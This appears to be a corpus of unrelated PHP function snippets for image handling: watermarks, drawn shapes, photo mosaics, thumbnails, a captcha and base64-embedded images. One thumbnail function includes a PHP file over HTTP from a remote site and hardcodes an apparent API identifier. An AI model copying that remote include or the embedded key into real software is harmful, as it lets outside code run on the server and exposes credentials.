$met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"function generate_thumb($thumb){\nif (isset($thumb))\n\t/*---------------Start Director Setup ------------------------*/\n\t// Include DirectorAPI class file\n\tinclude('http://www.heyreverb.com/wp-content/plugins/ssp-slideshow/classes/DirectorPHP.php');\n\t$director = new Director('hosted-9c9cf54218f185433472b1e031a9b8c3', 'reverb.slideshowpro.com');\n\t//echo('Connected!');\n\t\n\t if ($thumb != \"\") {\n \t// Separate our comma separated list $thumb into an array\n $thumbnaildata = explode(\",\", $thumb);\n\t}\t\n\t\n\t# When your application is live, it is a good idea to enable caching.\n\t# You need to provide a string specific to this page and a time limit \n\t# for the cache. Note that in most cases, Director will be able to ping\n\t# back to clear the cache for you after a change is made, so don't be \n\t# afraid to set the time limit to a high number.\n\t$director->cache->set('10122010', '+60 minutes');\n\t\n\t# We can also request the album preview at a certain size\n\t#$director->format->preview(array('width' => \"0\", 'height' => '0', 'crop' => 0, 'quality' => 85, 'sharpening' => 1));\n\t$artlicleBig = array('name' => 'artlicleBig', 'width' => \"610\", 'height' => '384', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleMed = array('name' => 'artlicleMed', 'width' => \"282\", 'height' => '178', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleSm = array('name' => 'artlicleSm', 'width' => \"150\", 'height' => '150', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$artlicleTh = array('name' => 'artlicleTh', 'width' => \"150\", 'height' => '150', 'crop' => 1, 'quality' => 80, 'sharpening' => 1);\n\t$homeSlider = array('name' => 'homeSlider', 'width' => \"960\", 'height' => '400', 'crop' => 1, 'quality' => 95, 'sharpening' => 1);\n\t$director->format->add($artlicleBig);\n\t$director->format->add($artlicleMed);\n\t$director->format->add($artlicleSm);\n\t$director->format->add($artlicleTh);\n\t$director->format->add($homeSlider);\n /*-----------End Director Setup -----------------------------*/\t \n\n\t// Check to see if user wanted to use a specific image or if we should use the first one as a default\n\t$x = $thumbnaildata[1] -1;\n\tif ($x == -1) {\n\t\t$x = 0;\n\t}\n\n $album = $director->album->get($thumbnaildata[0]);\n\t$caption = $album->contents->content[$x]->caption;\n\t$album_name = $album->name;\n\t\n\t/*my array of formats*/\n\t$imginfo = Array (\n\t\t'articleBig_url' => $album->contents->content[$x]->artlicleBig->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleBig->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleBig->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" /><div class=\\\"wp-caption\\\" style=\\\"margin-right:4px;width:610px;\\\"><p class=\\\"wp-caption-text\\\">\".$caption.\"</p></div>\",\n\t\t'articleMed_url' => $album->contents->content[$x]->artlicleMed->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleMed->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleMed->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" /><div class=\\\"wp-caption\\\" style=\\\"margin-right:4px;width:282px;\\\"><p class=\\\"wp-caption-text\\\">\".$caption.\"</p></div>\",\n\t\t'articleSm_url' => $album->contents->content[$x]->artlicleSm->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleSm->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleSm->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" />\",\n\t\t'articleTh_url' => $album->contents->content[$x]->artlicleTh->url .\"\\\" width=\\\"\" . $album->contents->content[$x]->artlicleTh->width . \"\\\" height=\\\"\" . $album->contents->content[$x]->artlicleTh->height . \"\\\" alt=\\\"\" . $album_name . \"\\\" />\",\n\t\t'homeSlider_url' => $album->contents->content[$x]->homeSlider->url );\n return $imginfo;\n}",
"private function generateHighres($event_id, $step)\r\n {\r\n $target = Target::findOrFail($event_id);\r\n \r\n \r\n $width = $this->highresSize($target->columns);\r\n $height = $this->highresSize($target->columns);\r\n \r\n $data = Thumbnails::where('event_id', '=', $event_id)->orderBy('x', 'asc')->orderBy('y', 'asc')->get(); \r\n \r\n $thumbs = array();\r\n foreach ($data as $row) {\r\n $thumbs[$row->y][$row->x] = $row->masked_image_url;\r\n }\r\n \r\n switch ($step) {\n case 1:\n $x_start = 0;\r\n $x_end = floor($target->columns / 2); \r\n \r\n $y_start = 0;\r\n $y_end = floor($target->rows / 2);\n break;\n \n case 2:\r\n $x_start = ceil($target->columns / 2);\r\n $x_end = $target->columns;\r\n \r\n $y_start = 0;\r\n $y_end = floor($target->rows / 2);\r\n break;\r\n \r\n case 3:\r\n $x_start = 0;\r\n $x_end = floor($target->columns / 2);\r\n \r\n $y_start = ceil($target->rows / 2);\r\n $y_end = $target->rows;\r\n break;\r\n \r\n case 4:\r\n $x_start = ceil($target->columns / 2);\r\n $x_end = $target->columns;\r\n \r\n $y_start = ceil($target->rows / 2);\r\n $y_end = $target->rows;\r\n break;\n }\r\n\r\n $highres_width = $width * ($x_end - $x_start);\r\n $highres_height = $height * ($y_end - $y_start);\r\n \r\n $mosaic = imagecreatetruecolor($highres_width, $highres_height);\r\n \r\n $blank_cell = imagecreatetruecolor($width, $height);\r\n $blank_row = imagecreatetruecolor($highres_width, $height);\r\n \r\n $x_i = 0;\r\n $y_i = 0;\r\n \r\n for ($y = $y_start; $y < $y_end; $y++) {\r\n \r\n $row = $blank_row;\r\n $x_i = 0;\r\n \r\n Log::info('highres event_id ' . $event_id . ', step ' . $step . ', y ' . $y_i);\r\n \r\n for ($x = $x_start; $x < $x_end; $x++) {\r\n $current_cell = $blank_cell;\r\n //Log::info($x . ' - ' . $y . ', file' . $thumbs[$x][$y]);\r\n if (isset($thumbs[$x][$y])) {\r\n $img = imagecreatefromjpeg('http:' . $thumbs[$x][$y]);\r\n //make tile with choosen size from photo\r\n imagecopyresized($current_cell, $img, 0, 0, 0, 0, $width, $width, imagesx($img), imagesy($img));\r\n }\r\n \r\n //insert tile in row\r\n imagecopy($row, $current_cell, $x_i * $width, 0, 0, 0, $width, $height);\r\n \r\n $x_i++;\r\n }\r\n \r\n //insert row in mosaic\r\n imagecopy($mosaic, $row, 0, $y_i * $height, 0, 0, $width * $x_end, $height);\r\n $y_i++;\r\n } \r\n \r\n return $mosaic;\r\n }",
"function generate_resource_vertical($data)\n{\n\tglobal $CONF;\n\treturn '<h1>'._EF_($data,'title').'</h1>\n\t\t'.call('generate_preview', _F_($data,'filename')).'\n\t\t<div id=\"rf_metadata\">\n\t\t\t<p>'.nl2br(_EF_($data,'description')).'</p>\n\t\t\t'.call('generate_metadata_table', $data)\n\t\t\t.call('generate_comment_widget', $CONF['element_size']['preview_width']).'\n\t\t</div>\n\t\t<div class=\"rf_clearer\"></div>';\n}",
"function LayoutGetImage($params=null) // must return string\n{\n global $DB, $sdurl, $userinfo, $plugin_names, $plugin_folder_to_id_arr;\n\n // Below are several security checks to assure, that the passed on plugin-id\n // is valid, the plugin and it's image path exist etc.\n if( !isset($params) || !is_array($params) || (count($params) < 1) ||\n (count($params) > 2) || empty($userinfo['pluginviewids']) )\n {\n return '';\n }\n $image_id = Is_Valid_Number($params[0], 0, 1);\n $plugin_id = 17; //default!\n $w = $h = 0;\n if(isset($params[1]))\n {\n if($p_arr = @preg_split('#,#',$params[1],0,PREG_SPLIT_NO_EMPTY))\n {\n $plugin_id = Is_Valid_Number($p_arr[0], 17, 1);\n $p_arr = array_slice($p_arr,1);\n foreach($p_arr as $p)\n {\n if($p2_arr = @preg_split('#=#',$p,0,PREG_SPLIT_NO_EMPTY))\n {\n if(($p2_arr[0]=='w') && isset($p2_arr[1])) $w = intval($p2_arr[1]);\n if(($p2_arr[0]=='h') && isset($p2_arr[1])) $h = intval($p2_arr[1]);\n }\n }\n\n }\n }\n\n // Sanity checks:\n if( ($image_id < 0) || !$plugin_id || !isset($plugin_names[$plugin_id]) ||\n !in_array($plugin_id, $userinfo['pluginviewids']) )\n {\n return '';\n }\n\n if(empty($image_id))\n {\n $image_id = ' ORDER BY RAND() LIMIT 1';\n }\n else\n {\n $image_id = ' AND i.imageid = '.(int)$image_id;\n }\n $columns = '';\n if($plugin_id >= 5000)\n {\n $columns= ', s.folder, s.access_view';\n }\n\n if(!$folder = array_search($plugin_id, $plugin_folder_to_id_arr)) return '';\n $folder = 'plugins/'.$folder.'/images/';\n if(!is_readable(ROOT_PATH.$folder)) return '';\n\n $sections = empty($userinfo['categoryviewids']) ? '0' : implode(',',$userinfo['categoryviewids']);\n $DB->ignore_error = true;\n $image_arr = $DB->query_first(\"SELECT i.* $columns FROM {p\".$plugin_id.'_images} i'.\n ' INNER JOIN {p'.$plugin_id.'_sections} s ON s.sectionid = i.sectionid'.\n ' WHERE i.activated = 1 AND s.activated = 1 '.\n ' AND s.sectionid IN (%s) %s',\n $sections, $image_id);\n $DB->ignore_error = false;\n\n if(!$image_arr || empty($image_arr['imageid']))\n {\n return 'Image not available!';\n }\n $imagetitle = htmlspecialchars($image_arr['title'], ENT_COMPAT);\n if(isset($image_arr['folder'])) $folder .= $image_arr['folder']; // Media Gallery subfolder support\n $img_md_exists = file_exists(ROOT_PATH.$folder . 'md_' . $image_arr['filename']);\n $image_path = $folder . ($img_md_exists ? 'md_' : '') . $image_arr['filename'];\n if(!$w || !$h)\n {\n list($w, $h, $type, $attr) = @getimagesize(ROOT_PATH.$image_path);\n }\n\n return '<img title=\"' . $imagetitle . '\" alt=\"image\" src=\"' .\n $sdurl. $image_path . '\" width=\"' . $w . '\" height=\"' . $h . '\" />';\n\n}",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"function getCover () {\n\n}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"public function getProfilePicture();",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"public function run()\n {\n\t $avatar = <<<'EOD'\ndata:image/jpeg;base64,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